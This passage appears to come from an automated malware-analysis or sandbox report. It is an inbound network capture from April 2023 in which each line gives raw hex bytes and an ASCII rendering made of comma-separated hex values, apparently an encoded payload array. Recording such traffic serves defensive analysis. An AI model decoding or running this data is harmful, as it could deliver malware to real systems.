2023-04-20 23:05:37 UTC	20173	IN	Data Raw: 39 2c 36 61 2c 39 38 2c 37 30 2c 35 61 2c 31 31 35 2c 31 35 63 2c 65 36 2c 33 39 2c 31 30 61 2c 31 36 35 2c 31 32 30 2c 31 33 38 2c 31 30 36 2c 62 30 2c 38 38 2c 31 30 63 2c 38 63 2c 37 63 2c 61 66 2c 35 30 2c 31 32 62 2c 31 34 38 2c 66 32 2c 31 32 62 2c 64 64 2c 39 61 2c 61 30 2c 31 36 37 2c 31 36 64 2c 31 33 32 2c 37 65 2c 31 33 61 2c 37 39 2c 31 34 62 2c 39 62 2c 36 33 2c 31 32 31 2c 65 38 2c 62 33 2c 31 33 35 2c 61 65 2c 39 30 2c 35 35 2c 31 30 36 2c 39 63 2c 38 32 2c 31 33 61 2c 36 38 2c 31 30 66 2c 63 65 2c 61 62 2c 31 33 61 2c 65 37 2c 61 65 2c 65 30 2c 38 32 2c 31 32 34 2c 31 33 35 2c 66 30 2c 31 33 32 2c 63 30 2c 63 39 2c 66 30 2c 31 33 31 2c 61 63 2c 31 31 61 2c 31 32 62 2c 31 31 38 2c 31 37 31 2c 38 36 2c 31 33 61 2c 66 35 2c 31 31 32 2c 64 65 Data Ascii: 9,6a,98,70,5a,115,15c,e6,39,10a,165,120,138,106,b0,88,10c,8c,7c,af,50,12b,148,f2,12b,dd,9a,a0,167,16d,132,7e,13a,79,14b,9b,63,121,e8,b3,135,ae,90,55,106,9c,82,13a,68,10f,ce,ab,13a,e7,ae,e0,82,124,135,f0,132,c0,c9,f0,131,ac,11a,12b,118,171,86,13a,f5,112,de
2023-04-20 23:05:37 UTC	20189	IN	Data Raw: 30 2c 31 34 36 2c 62 37 2c 61 30 2c 31 35 33 2c 36 30 2c 31 32 32 2c 31 30 63 2c 31 36 64 2c 62 37 2c 31 33 33 2c 36 63 2c 62 61 2c 37 38 2c 65 62 2c 36 61 2c 31 30 63 2c 31 35 36 2c 31 33 37 2c 61 37 2c 39 66 2c 36 61 2c 62 31 2c 31 35 65 2c 31 33 33 2c 31 31 38 2c 35 63 2c 36 32 2c 39 33 2c 37 63 2c 62 63 2c 38 65 2c 38 61 2c 66 66 2c 31 32 62 2c 37 65 2c 65 31 2c 66 37 2c 37 39 2c 39 66 2c 38 35 2c 36 64 2c 31 32 34 2c 35 66 2c 63 62 2c 65 30 2c 38 31 2c 36 65 2c 37 33 2c 61 30 2c 31 35 33 2c 35 30 2c 31 30 33 2c 62 61 2c 63 33 2c 62 31 2c 31 33 62 2c 39 66 2c 39 37 2c 64 62 2c 31 31 61 2c 39 66 2c 31 32 39 2c 31 33 38 2c 31 33 36 2c 36 65 2c 31 30 30 2c 31 33 39 2c 39 36 2c 61 62 2c 37 31 2c 31 30 65 2c 31 33 64 2c 31 30 37 2c 31 31 36 2c 62 34 2c 63 Data Ascii: 0,146,b7,a0,153,60,122,10c,16d,b7,133,6c,ba,78,eb,6a,10c,156,137,a7,9f,6a,b1,15e,133,118,5c,62,93,7c,bc,8e,8a,ff,12b,7e,e1,f7,79,9f,85,6d,124,5f,cb,e0,81,6e,73,a0,153,50,103,ba,c3,b1,13b,9f,97,db,11a,9f,129,138,136,6e,100,139,96,ab,71,10e,13d,107,116,b4,c
2023-04-20 23:05:37 UTC	20205	IN	Data Raw: 2c 31 34 65 2c 64 30 2c 31 32 35 2c 65 64 2c 34 39 2c 35 31 2c 61 63 2c 61 39 2c 63 37 2c 39 33 2c 39 34 2c 35 66 2c 31 34 30 2c 66 35 2c 31 36 33 2c 64 36 2c 64 39 2c 31 32 38 2c 38 30 2c 62 34 2c 36 36 2c 31 34 62 2c 61 32 2c 31 30 32 2c 65 32 2c 38 36 2c 62 37 2c 31 32 63 2c 33 39 2c 65 32 2c 37 33 2c 64 31 2c 31 32 39 2c 31 30 62 2c 31 32 30 2c 62 30 2c 38 34 2c 61 61 2c 39 63 2c 31 35 37 2c 61 63 2c 64 30 2c 64 36 2c 31 32 39 2c 66 65 2c 31 33 32 2c 31 31 32 2c 39 35 2c 36 61 2c 36 39 2c 66 35 2c 31 32 37 2c 31 33 32 2c 31 34 32 2c 62 32 2c 66 36 2c 62 30 2c 63 37 2c 64 30 2c 31 35 66 2c 31 30 66 2c 31 32 32 2c 61 37 2c 31 35 66 2c 62 37 2c 31 30 33 2c 33 36 2c 66 39 2c 31 30 31 2c 35 35 2c 61 38 2c 31 32 62 2c 66 62 2c 64 31 2c 35 38 2c 37 38 2c 35 Data Ascii: ,14e,d0,125,ed,49,51,ac,a9,c7,93,94,5f,140,f5,163,d6,d9,128,80,b4,66,14b,a2,102,e2,86,b7,12c,39,e2,73,d1,129,10b,120,b0,84,aa,9c,157,ac,d0,d6,129,fe,132,112,95,6a,69,f5,127,132,142,b2,f6,b0,c7,d0,15f,10f,122,a7,15f,b7,103,36,f9,101,55,a8,12b,fb,d1,58,78,5
2023-04-20 23:05:37 UTC	20221	IN	Data Raw: 36 32 2c 34 38 2c 64 63 2c 63 61 2c 31 34 65 2c 62 39 2c 61 66 2c 38 38 2c 31 30 66 2c 66 61 2c 62 34 2c 36 32 2c 37 62 2c 31 34 30 2c 66 61 2c 37 61 2c 39 36 2c 31 30 62 2c 31 36 61 2c 65 62 2c 65 39 2c 31 32 33 2c 62 62 2c 31 33 61 2c 66 65 2c 31 33 36 2c 31 31 64 2c 66 37 2c 39 64 2c 31 34 35 2c 61 31 2c 62 61 2c 37 61 2c 36 65 2c 31 30 62 2c 66 33 2c 38 34 2c 62 62 2c 31 33 39 2c 31 34 38 2c 61 34 2c 38 35 2c 38 63 2c 31 30 64 2c 64 38 2c 36 61 2c 65 65 2c 64 35 2c 31 30 63 2c 35 64 2c 31 34 33 2c 37 30 2c 63 37 2c 31 32 64 2c 61 30 2c 31 34 39 2c 64 37 2c 64 36 2c 36 61 2c 38 34 2c 31 34 33 2c 39 63 2c 35 65 2c 39 62 2c 37 38 2c 36 63 2c 62 33 2c 38 66 2c 38 61 2c 31 32 37 2c 64 32 2c 31 30 33 2c 39 66 2c 31 30 63 2c 37 62 2c 64 35 2c 65 66 2c 62 65 Data Ascii: 62,48,dc,ca,14e,b9,af,88,10f,fa,b4,62,7b,140,fa,7a,96,10b,16a,eb,e9,123,bb,13a,fe,136,11d,f7,9d,145,a1,ba,7a,6e,10b,f3,84,bb,139,148,a4,85,8c,10d,d8,6a,ee,d5,10c,5d,143,70,c7,12d,a0,149,d7,d6,6a,84,143,9c,5e,9b,78,6c,b3,8f,8a,127,d2,103,9f,10c,7b,d5,ef,be
2023-04-20 23:05:37 UTC	20237	IN	Data Raw: 39 2c 31 32 34 2c 31 36 37 2c 63 65 2c 31 34 34 2c 37 30 2c 64 34 2c 31 32 61 2c 31 30 39 2c 31 34 39 2c 61 34 2c 66 61 2c 65 65 2c 39 35 2c 31 33 37 2c 65 38 2c 31 32 34 2c 31 34 31 2c 35 35 2c 31 35 36 2c 31 35 31 2c 31 33 61 2c 34 39 2c 62 37 2c 63 61 2c 62 31 2c 66 63 2c 37 36 2c 31 30 30 2c 31 32 31 2c 36 38 2c 31 30 38 2c 36 30 2c 37 61 2c 31 30 63 2c 63 35 2c 31 34 64 2c 65 37 2c 31 32 30 2c 31 33 62 2c 64 36 2c 37 38 2c 39 63 2c 62 33 2c 31 36 35 2c 61 31 2c 66 65 2c 31 32 37 2c 66 39 2c 38 39 2c 31 30 38 2c 31 31 32 2c 31 31 36 2c 65 33 2c 61 62 2c 31 35 63 2c 63 32 2c 62 30 2c 38 37 2c 65 37 2c 65 62 2c 37 61 2c 31 30 64 2c 31 33 65 2c 37 66 2c 37 62 2c 31 36 30 2c 61 30 2c 35 66 2c 31 32 61 2c 61 37 2c 31 32 37 2c 31 30 30 2c 31 32 35 2c 31 36 Data Ascii: 9,124,167,ce,144,70,d4,12a,109,149,a4,fa,ee,95,137,e8,124,141,55,156,151,13a,49,b7,ca,b1,fc,76,100,121,68,108,60,7a,10c,c5,14d,e7,120,13b,d6,78,9c,b3,165,a1,fe,127,f9,89,108,112,116,e3,ab,15c,c2,b0,87,e7,eb,7a,10d,13e,7f,7b,160,a0,5f,12a,a7,127,100,125,16
2023-04-20 23:05:37 UTC	20253	IN	Data Raw: 65 33 2c 65 36 2c 38 37 2c 35 36 2c 36 39 2c 35 61 2c 37 61 2c 31 31 31 2c 63 66 2c 31 32 35 2c 64 36 2c 31 36 33 2c 36 36 2c 61 30 2c 39 31 2c 64 65 2c 37 32 2c 31 31 34 2c 31 32 34 2c 65 63 2c 31 31 34 2c 65 35 2c 61 33 2c 36 32 2c 37 36 2c 39 30 2c 31 32 31 2c 38 32 2c 36 31 2c 37 64 2c 31 35 38 2c 31 32 39 2c 37 38 2c 35 64 2c 39 64 2c 39 61 2c 34 38 2c 38 30 2c 64 66 2c 31 33 34 2c 31 35 37 2c 62 35 2c 31 34 34 2c 63 61 2c 66 66 2c 31 32 36 2c 37 62 2c 31 31 62 2c 31 30 37 2c 34 64 2c 39 66 2c 31 32 65 2c 34 62 2c 35 38 2c 37 30 2c 64 37 2c 63 65 2c 39 39 2c 34 33 2c 62 32 2c 31 33 63 2c 39 33 2c 66 32 2c 65 34 2c 62 66 2c 64 63 2c 33 34 2c 64 30 2c 65 62 2c 36 34 2c 38 38 2c 38 30 2c 62 65 2c 35 62 2c 62 36 2c 39 36 2c 31 31 31 2c 31 33 37 2c 31 33 Data Ascii: e3,e6,87,56,69,5a,7a,111,cf,125,d6,163,66,a0,91,de,72,114,124,ec,114,e5,a3,62,76,90,121,82,61,7d,158,129,78,5d,9d,9a,48,80,df,134,157,b5,144,ca,ff,126,7b,11b,107,4d,9f,12e,4b,58,70,d7,ce,99,43,b2,13c,93,f2,e4,bf,dc,34,d0,eb,64,88,80,be,5b,b6,96,111,137,13
2023-04-20 23:05:37 UTC	20269	IN	Data Raw: 34 2c 35 63 2c 31 32 33 2c 35 65 2c 38 37 2c 64 64 2c 65 64 2c 31 32 33 2c 38 34 2c 63 38 2c 31 32 39 2c 66 31 2c 31 30 35 2c 61 63 2c 31 33 61 2c 63 32 2c 36 38 2c 36 32 2c 31 33 37 2c 66 38 2c 31 32 32 2c 63 65 2c 64 66 2c 31 32 33 2c 31 33 65 2c 66 31 2c 39 38 2c 31 30 65 2c 31 34 66 2c 39 62 2c 31 31 30 2c 65 62 2c 31 36 36 2c 65 66 2c 39 62 2c 64 38 2c 39 32 2c 31 30 36 2c 63 64 2c 33 39 2c 31 31 36 2c 38 31 2c 31 36 34 2c 66 61 2c 31 33 61 2c 61 39 2c 66 66 2c 65 30 2c 38 33 2c 31 30 61 2c 31 34 35 2c 31 35 37 2c 31 30 65 2c 31 33 32 2c 38 32 2c 66 66 2c 62 36 2c 31 31 64 2c 66 37 2c 31 32 64 2c 39 63 2c 31 34 61 2c 63 31 2c 39 38 2c 31 32 66 2c 36 33 2c 61 62 2c 36 64 2c 38 62 2c 31 35 32 2c 37 35 2c 62 36 2c 31 31 36 2c 31 33 30 2c 66 34 2c 31 34 Data Ascii: 4,5c,123,5e,87,dd,ed,123,84,c8,129,f1,105,ac,13a,c2,68,62,137,f8,122,ce,df,123,13e,f1,98,10e,14f,9b,110,eb,166,ef,9b,d8,92,106,cd,39,116,81,164,fa,13a,a9,ff,e0,83,10a,145,157,10e,132,82,ff,b6,11d,f7,12d,9c,14a,c1,98,12f,63,ab,6d,8b,152,75,b6,116,130,f4,14
2023-04-20 23:05:37 UTC	20285	IN	Data Raw: 2c 61 64 2c 38 31 2c 65 36 2c 61 32 2c 64 62 2c 38 63 2c 31 31 64 2c 65 37 2c 37 35 2c 31 31 32 2c 61 64 2c 62 34 2c 39 34 2c 65 38 2c 34 36 2c 31 33 62 2c 31 31 35 2c 39 64 2c 31 36 33 2c 61 32 2c 64 39 2c 66 63 2c 38 63 2c 63 34 2c 61 37 2c 31 30 38 2c 31 35 32 2c 65 39 2c 31 33 37 2c 31 32 38 2c 31 35 66 2c 31 34 30 2c 36 37 2c 38 64 2c 35 37 2c 62 65 2c 31 30 35 2c 34 64 2c 64 35 2c 64 32 2c 31 32 37 2c 31 34 36 2c 65 62 2c 39 61 2c 31 31 36 2c 31 34 34 2c 64 32 2c 35 63 2c 66 36 2c 64 39 2c 31 31 36 2c 31 35 33 2c 38 32 2c 65 65 2c 36 32 2c 61 65 2c 37 36 2c 39 61 2c 31 32 30 2c 37 36 2c 61 31 2c 37 38 2c 65 35 2c 31 31 63 2c 61 36 2c 36 37 2c 62 61 2c 38 65 2c 65 62 2c 31 32 64 2c 62 66 2c 31 35 62 2c 39 35 2c 66 33 2c 62 63 2c 31 30 36 2c 31 34 65 Data Ascii: ,ad,81,e6,a2,db,8c,11d,e7,75,112,ad,b4,94,e8,46,13b,115,9d,163,a2,d9,fc,8c,c4,a7,108,152,e9,137,128,15f,140,67,8d,57,be,105,4d,d5,d2,127,146,eb,9a,116,144,d2,5c,f6,d9,116,153,82,ee,62,ae,76,9a,120,76,a1,78,e5,11c,a6,67,ba,8e,eb,12d,bf,15b,95,f3,bc,106,14e
2023-04-20 23:05:37 UTC	20301	IN	Data Raw: 64 38 2c 37 62 2c 61 30 2c 38 62 2c 65 34 2c 37 64 2c 66 32 2c 65 30 2c 64 39 2c 31 34 65 2c 31 33 61 2c 37 63 2c 65 38 2c 61 65 2c 61 35 2c 31 30 63 2c 61 62 2c 31 34 38 2c 62 33 2c 63 34 2c 33 66 2c 38 66 2c 65 63 2c 64 65 2c 37 66 2c 63 65 2c 31 30 64 2c 38 62 2c 31 34 34 2c 39 38 2c 64 63 2c 31 34 39 2c 66 65 2c 62 65 2c 31 32 61 2c 31 31 30 2c 39 62 2c 31 34 36 2c 39 32 2c 35 31 2c 65 65 2c 39 39 2c 31 35 61 2c 64 33 2c 31 32 66 2c 63 33 2c 39 62 2c 38 31 2c 63 31 2c 37 36 2c 31 30 30 2c 66 32 2c 64 30 2c 31 33 61 2c 36 38 2c 65 35 2c 62 37 2c 62 38 2c 62 33 2c 31 31 66 2c 65 36 2c 31 31 36 2c 64 38 2c 35 36 2c 66 31 2c 31 31 32 2c 64 61 2c 34 38 2c 36 32 2c 31 36 64 2c 31 31 65 2c 38 61 2c 31 32 62 2c 38 37 2c 31 35 63 2c 63 61 2c 37 61 2c 31 31 34 Data Ascii: d8,7b,a0,8b,e4,7d,f2,e0,d9,14e,13a,7c,e8,ae,a5,10c,ab,148,b3,c4,3f,8f,ec,de,7f,ce,10d,8b,144,98,dc,149,fe,be,12a,110,9b,146,92,51,ee,99,15a,d3,12f,c3,9b,81,c1,76,100,f2,d0,13a,68,e5,b7,b8,b3,11f,e6,116,d8,56,f1,112,da,48,62,16d,11e,8a,12b,87,15c,ca,7a,114
2023-04-20 23:05:37 UTC	20317	IN	Data Raw: 38 2c 36 39 2c 61 36 2c 31 36 34 2c 31 34 39 2c 62 32 2c 31 36 31 2c 31 36 31 2c 61 34 2c 65 38 2c 61 61 2c 31 32 39 2c 36 63 2c 64 63 2c 34 63 2c 31 31 39 2c 35 65 2c 34 61 2c 61 63 2c 64 37 2c 37 64 2c 61 39 2c 34 61 2c 39 37 2c 38 61 2c 38 62 2c 31 32 61 2c 31 32 65 2c 64 63 2c 37 31 2c 34 34 2c 31 30 33 2c 64 30 2c 31 34 30 2c 37 62 2c 39 38 2c 66 37 2c 39 30 2c 62 35 2c 39 63 2c 31 30 61 2c 61 39 2c 66 32 2c 62 34 2c 39 64 2c 37 38 2c 34 37 2c 61 36 2c 62 66 2c 31 31 39 2c 66 63 2c 66 35 2c 39 36 2c 31 33 61 2c 64 65 2c 39 64 2c 37 61 2c 31 32 62 2c 37 61 2c 64 63 2c 36 32 2c 63 35 2c 66 32 2c 64 37 2c 64 37 2c 31 32 32 2c 61 35 2c 31 35 31 2c 39 32 2c 62 65 2c 61 38 2c 37 35 2c 63 34 2c 63 35 2c 65 34 2c 37 63 2c 36 62 2c 38 38 2c 35 31 2c 37 38 2c Data Ascii: 8,69,a6,164,149,b2,161,161,a4,e8,aa,129,6c,dc,4c,119,5e,4a,ac,d7,7d,a9,4a,97,8a,8b,12a,12e,dc,71,44,103,d0,140,7b,98,f7,90,b5,9c,10a,a9,f2,b4,9d,78,47,a6,bf,119,fc,f5,96,13a,de,9d,7a,12b,7a,dc,62,c5,f2,d7,d7,122,a5,151,92,be,a8,75,c4,c5,e4,7c,6b,88,51,78,
2023-04-20 23:05:37 UTC	20333	IN	Data Raw: 31 36 2c 64 37 2c 62 38 2c 65 64 2c 31 34 38 2c 66 38 2c 64 33 2c 65 62 2c 33 66 2c 31 33 64 2c 31 34 34 2c 37 32 2c 39 38 2c 37 35 2c 31 30 62 2c 31 30 34 2c 36 63 2c 63 30 2c 31 32 37 2c 31 30 37 2c 31 31 33 2c 66 35 2c 31 34 31 2c 31 32 38 2c 37 32 2c 31 30 37 2c 39 34 2c 36 30 2c 39 31 2c 65 36 2c 65 65 2c 63 65 2c 38 33 2c 39 65 2c 66 66 2c 34 32 2c 31 34 65 2c 66 38 2c 65 66 2c 39 64 2c 36 32 2c 31 33 64 2c 37 36 2c 39 36 2c 31 32 35 2c 35 39 2c 31 34 65 2c 31 35 35 2c 34 65 2c 31 31 62 2c 37 39 2c 39 35 2c 39 63 2c 39 30 2c 65 34 2c 39 63 2c 62 38 2c 65 35 2c 38 30 2c 61 39 2c 31 30 38 2c 63 30 2c 61 30 2c 64 62 2c 38 31 2c 31 31 34 2c 61 35 2c 62 38 2c 66 30 2c 31 33 32 2c 31 32 63 2c 31 33 34 2c 35 65 2c 31 37 34 2c 31 32 62 2c 66 31 2c 38 66 2c Data Ascii: 16,d7,b8,ed,148,f8,d3,eb,3f,13d,144,72,98,75,10b,104,6c,c0,127,107,113,f5,141,128,72,107,94,60,91,e6,ee,ce,83,9e,ff,42,14e,f8,ef,9d,62,13d,76,96,125,59,14e,155,4e,11b,79,95,9c,90,e4,9c,b8,e5,80,a9,108,c0,a0,db,81,114,a5,b8,f0,132,12c,134,5e,174,12b,f1,8f,
2023-04-20 23:05:37 UTC	20349	IN	Data Raw: 34 66 2c 31 31 63 2c 62 30 2c 31 34 63 2c 31 31 36 2c 35 35 2c 66 65 2c 31 31 33 2c 31 30 61 2c 31 35 38 2c 64 64 2c 66 63 2c 31 32 35 2c 37 63 2c 65 36 2c 36 62 2c 31 34 66 2c 63 66 2c 62 37 2c 64 39 2c 35 66 2c 37 34 2c 31 34 61 2c 65 35 2c 31 34 31 2c 31 31 65 2c 61 63 2c 66 39 2c 31 34 61 2c 63 33 2c 37 38 2c 31 35 62 2c 31 35 61 2c 31 33 63 2c 35 61 2c 66 37 2c 31 32 37 2c 31 32 63 2c 62 66 2c 61 31 2c 66 32 2c 31 33 61 2c 35 33 2c 31 31 38 2c 64 36 2c 36 65 2c 65 62 2c 31 32 63 2c 31 30 34 2c 31 30 66 2c 64 34 2c 37 62 2c 31 32 38 2c 31 32 61 2c 64 63 2c 63 35 2c 31 35 30 2c 64 63 2c 66 31 2c 65 39 2c 31 34 66 2c 31 32 35 2c 36 35 2c 31 30 32 2c 31 35 34 2c 31 34 32 2c 31 30 61 2c 31 35 32 2c 31 35 31 2c 39 62 2c 31 33 33 2c 61 30 2c 31 30 36 2c 31 Data Ascii: 4f,11c,b0,14c,116,55,fe,113,10a,158,dd,fc,125,7c,e6,6b,14f,cf,b7,d9,5f,74,14a,e5,141,11e,ac,f9,14a,c3,78,15b,15a,13c,5a,f7,127,12c,bf,a1,f2,13a,53,118,d6,6e,eb,12c,104,10f,d4,7b,128,12a,dc,c5,150,dc,f1,e9,14f,125,65,102,154,142,10a,152,151,9b,133,a0,106,1
2023-04-20 23:05:37 UTC	20365	IN	Data Raw: 2c 37 31 2c 37 36 2c 31 30 36 2c 31 34 37 2c 64 38 2c 35 37 2c 35 62 2c 31 35 63 2c 31 32 39 2c 65 62 2c 36 65 2c 37 63 2c 66 35 2c 35 35 2c 63 37 2c 39 33 2c 37 31 2c 62 33 2c 31 32 64 2c 35 61 2c 31 30 33 2c 31 34 37 2c 64 36 2c 62 31 2c 37 66 2c 63 30 2c 33 30 2c 63 64 2c 36 63 2c 65 34 2c 39 35 2c 61 62 2c 37 39 2c 31 32 64 2c 37 37 2c 64 64 2c 65 39 2c 35 31 2c 66 65 2c 64 36 2c 31 34 65 2c 64 35 2c 66 36 2c 38 62 2c 31 33 31 2c 64 36 2c 64 38 2c 38 32 2c 31 33 36 2c 63 65 2c 37 35 2c 65 30 2c 31 34 65 2c 38 61 2c 38 66 2c 31 32 33 2c 39 66 2c 66 33 2c 64 30 2c 37 64 2c 38 62 2c 66 36 2c 31 32 61 2c 65 64 2c 64 30 2c 38 30 2c 31 34 65 2c 31 33 36 2c 66 64 2c 37 34 2c 38 39 2c 63 34 2c 66 66 2c 38 37 2c 36 66 2c 31 31 64 2c 31 31 64 2c 31 30 65 2c 66 Data Ascii: ,71,76,106,147,d8,57,5b,15c,129,eb,6e,7c,f5,55,c7,93,71,b3,12d,5a,103,147,d6,b1,7f,c0,30,cd,6c,e4,95,ab,79,12d,77,dd,e9,51,fe,d6,14e,d5,f6,8b,131,d6,d8,82,136,ce,75,e0,14e,8a,8f,123,9f,f3,d0,7d,8b,f6,12a,ed,d0,80,14e,136,fd,74,89,c4,ff,87,6f,11d,11d,10e,f
2023-04-20 23:05:37 UTC	20381	IN	Data Raw: 65 2c 31 31 33 2c 38 36 2c 31 32 33 2c 31 31 39 2c 63 65 2c 63 30 2c 31 33 34 2c 66 66 2c 63 64 2c 66 61 2c 63 32 2c 31 34 36 2c 31 31 35 2c 65 33 2c 37 61 2c 31 33 66 2c 39 30 2c 31 30 61 2c 63 33 2c 31 33 65 2c 61 63 2c 31 36 31 2c 66 62 2c 62 35 2c 61 32 2c 63 63 2c 62 36 2c 31 34 33 2c 63 33 2c 31 31 64 2c 35 63 2c 39 37 2c 37 39 2c 36 37 2c 39 66 2c 31 33 64 2c 39 65 2c 61 36 2c 63 31 2c 39 31 2c 63 66 2c 31 30 63 2c 61 34 2c 62 31 2c 38 39 2c 31 33 36 2c 38 37 2c 31 33 35 2c 35 63 2c 31 34 35 2c 37 38 2c 61 35 2c 31 30 64 2c 37 34 2c 61 32 2c 31 35 34 2c 31 33 32 2c 31 31 39 2c 38 30 2c 31 37 37 2c 63 62 2c 61 66 2c 31 33 31 2c 35 62 2c 64 65 2c 31 31 65 2c 63 39 2c 39 64 2c 31 32 65 2c 37 32 2c 64 38 2c 31 32 38 2c 62 32 2c 31 33 39 2c 31 31 62 2c Data Ascii: e,113,86,123,119,ce,c0,134,ff,cd,fa,c2,146,115,e3,7a,13f,90,10a,c3,13e,ac,161,fb,b5,a2,cc,b6,143,c3,11d,5c,97,79,67,9f,13d,9e,a6,c1,91,cf,10c,a4,b1,89,136,87,135,5c,145,78,a5,10d,74,a2,154,132,119,80,177,cb,af,131,5b,de,11e,c9,9d,12e,72,d8,128,b2,139,11b,
2023-04-20 23:05:38 UTC	20397	IN	Data Raw: 39 2c 31 33 64 2c 66 32 2c 31 31 64 2c 36 34 2c 35 66 2c 66 39 2c 36 38 2c 31 32 35 2c 64 30 2c 62 32 2c 31 35 35 2c 62 35 2c 31 31 65 2c 31 32 38 2c 31 30 65 2c 31 34 36 2c 39 38 2c 63 66 2c 38 30 2c 36 63 2c 36 65 2c 61 65 2c 31 33 30 2c 35 38 2c 38 66 2c 31 34 65 2c 37 32 2c 31 32 65 2c 31 32 31 2c 31 31 64 2c 34 66 2c 31 30 35 2c 31 32 36 2c 31 35 32 2c 31 34 34 2c 61 34 2c 36 31 2c 66 30 2c 31 32 35 2c 39 33 2c 31 31 31 2c 38 33 2c 63 32 2c 31 33 34 2c 39 34 2c 31 32 66 2c 31 32 65 2c 31 34 31 2c 31 32 38 2c 31 31 61 2c 31 34 38 2c 35 35 2c 35 30 2c 61 39 2c 62 37 2c 61 32 2c 31 30 39 2c 31 33 33 2c 66 66 2c 38 31 2c 31 31 31 2c 62 31 2c 31 30 65 2c 66 61 2c 61 38 2c 31 35 30 2c 39 62 2c 35 32 2c 31 32 64 2c 65 37 2c 62 62 2c 39 36 2c 61 30 2c 31 34 Data Ascii: 9,13d,f2,11d,64,5f,f9,68,125,d0,b2,155,b5,11e,128,10e,146,98,cf,80,6c,6e,ae,130,58,8f,14e,72,12e,121,11d,4f,105,126,152,144,a4,61,f0,125,93,111,83,c2,134,94,12f,12e,141,128,11a,148,55,50,a9,b7,a2,109,133,ff,81,111,b1,10e,fa,a8,150,9b,52,12d,e7,bb,96,a0,14
2023-04-20 23:05:38 UTC	20413	IN	Data Raw: 31 2c 65 37 2c 61 38 2c 38 39 2c 65 61 2c 65 34 2c 62 38 2c 64 31 2c 31 34 63 2c 61 35 2c 37 36 2c 62 39 2c 31 32 65 2c 39 36 2c 66 37 2c 31 30 38 2c 38 33 2c 31 36 36 2c 31 32 62 2c 65 39 2c 36 61 2c 61 33 2c 61 30 2c 66 31 2c 61 30 2c 31 34 66 2c 35 34 2c 34 34 2c 37 64 2c 31 30 61 2c 31 33 64 2c 62 35 2c 63 33 2c 36 66 2c 66 33 2c 31 36 37 2c 65 39 2c 63 64 2c 31 33 34 2c 66 38 2c 31 35 61 2c 37 65 2c 31 30 35 2c 61 61 2c 31 36 35 2c 37 65 2c 36 31 2c 37 63 2c 31 35 64 2c 62 35 2c 39 38 2c 31 33 36 2c 35 65 2c 35 38 2c 39 65 2c 66 32 2c 39 64 2c 39 62 2c 34 61 2c 37 63 2c 62 61 2c 39 31 2c 39 64 2c 31 36 33 2c 36 65 2c 31 33 36 2c 66 39 2c 31 31 32 2c 36 39 2c 34 30 2c 35 36 2c 62 34 2c 64 33 2c 31 35 34 2c 31 31 62 2c 61 30 2c 31 32 38 2c 31 30 39 2c Data Ascii: 1,e7,a8,89,ea,e4,b8,d1,14c,a5,76,b9,12e,96,f7,108,83,166,12b,e9,6a,a3,a0,f1,a0,14f,54,44,7d,10a,13d,b5,c3,6f,f3,167,e9,cd,134,f8,15a,7e,105,aa,165,7e,61,7c,15d,b5,98,136,5e,58,9e,f2,9d,9b,4a,7c,ba,91,9d,163,6e,136,f9,112,69,40,56,b4,d3,154,11b,a0,128,109,
2023-04-20 23:05:38 UTC	20429	IN	Data Raw: 2c 66 39 2c 31 32 31 2c 38 37 2c 31 36 34 2c 63 34 2c 35 37 2c 64 31 2c 39 38 2c 61 37 2c 37 64 2c 38 32 2c 61 34 2c 66 61 2c 64 65 2c 62 61 2c 36 39 2c 31 34 65 2c 61 37 2c 65 30 2c 65 30 2c 31 31 30 2c 35 61 2c 39 64 2c 31 35 33 2c 64 31 2c 39 33 2c 39 39 2c 66 32 2c 63 63 2c 39 63 2c 65 39 2c 31 33 35 2c 31 33 64 2c 63 34 2c 31 33 30 2c 65 39 2c 31 30 39 2c 64 62 2c 31 32 31 2c 31 31 33 2c 31 36 61 2c 31 34 39 2c 38 66 2c 33 63 2c 61 64 2c 65 65 2c 36 63 2c 31 34 65 2c 65 64 2c 31 31 31 2c 65 31 2c 62 33 2c 66 65 2c 31 31 63 2c 31 36 34 2c 31 32 34 2c 36 61 2c 31 32 65 2c 31 34 34 2c 38 32 2c 65 37 2c 64 64 2c 37 36 2c 63 35 2c 39 32 2c 37 32 2c 31 30 63 2c 31 36 39 2c 31 34 30 2c 39 36 2c 63 66 2c 62 63 2c 31 30 63 2c 65 63 2c 31 32 35 2c 34 33 2c 62 Data Ascii: ,f9,121,87,164,c4,57,d1,98,a7,7d,82,a4,fa,de,ba,69,14e,a7,e0,e0,110,5a,9d,153,d1,93,99,f2,cc,9c,e9,135,13d,c4,130,e9,109,db,121,113,16a,149,8f,3c,ad,ee,6c,14e,ed,111,e1,b3,fe,11c,164,124,6a,12e,144,82,e7,dd,76,c5,92,72,10c,169,140,96,cf,bc,10c,ec,125,43,b
2023-04-20 23:05:38 UTC	20445	IN	Data Raw: 31 63 2c 62 65 2c 31 32 62 2c 31 34 36 2c 35 36 2c 31 32 36 2c 31 33 38 2c 62 37 2c 65 65 2c 65 64 2c 31 31 33 2c 61 65 2c 66 32 2c 36 62 2c 35 31 2c 31 34 61 2c 65 37 2c 39 35 2c 33 36 2c 31 31 65 2c 38 38 2c 64 32 2c 62 35 2c 37 31 2c 39 30 2c 66 39 2c 35 39 2c 31 30 34 2c 38 35 2c 65 61 2c 61 36 2c 31 35 32 2c 63 65 2c 38 64 2c 31 31 36 2c 37 62 2c 31 31 35 2c 38 39 2c 31 34 31 2c 31 32 66 2c 31 31 36 2c 31 31 32 2c 38 61 2c 62 38 2c 62 38 2c 31 31 32 2c 61 33 2c 61 64 2c 38 30 2c 62 64 2c 33 64 2c 62 66 2c 66 63 2c 61 64 2c 64 35 2c 38 37 2c 37 31 2c 31 36 35 2c 34 30 2c 62 63 2c 61 37 2c 31 35 66 2c 31 31 34 2c 31 34 31 2c 66 62 2c 39 33 2c 37 39 2c 31 31 32 2c 63 33 2c 35 37 2c 31 36 33 2c 64 63 2c 63 34 2c 31 30 64 2c 62 32 2c 38 65 2c 31 31 62 2c Data Ascii: 1c,be,12b,146,56,126,138,b7,ee,ed,113,ae,f2,6b,51,14a,e7,95,36,11e,88,d2,b5,71,90,f9,59,104,85,ea,a6,152,ce,8d,116,7b,115,89,141,12f,116,112,8a,b8,b8,112,a3,ad,80,bd,3d,bf,fc,ad,d5,87,71,165,40,bc,a7,15f,114,141,fb,93,79,112,c3,57,163,dc,c4,10d,b2,8e,11b,
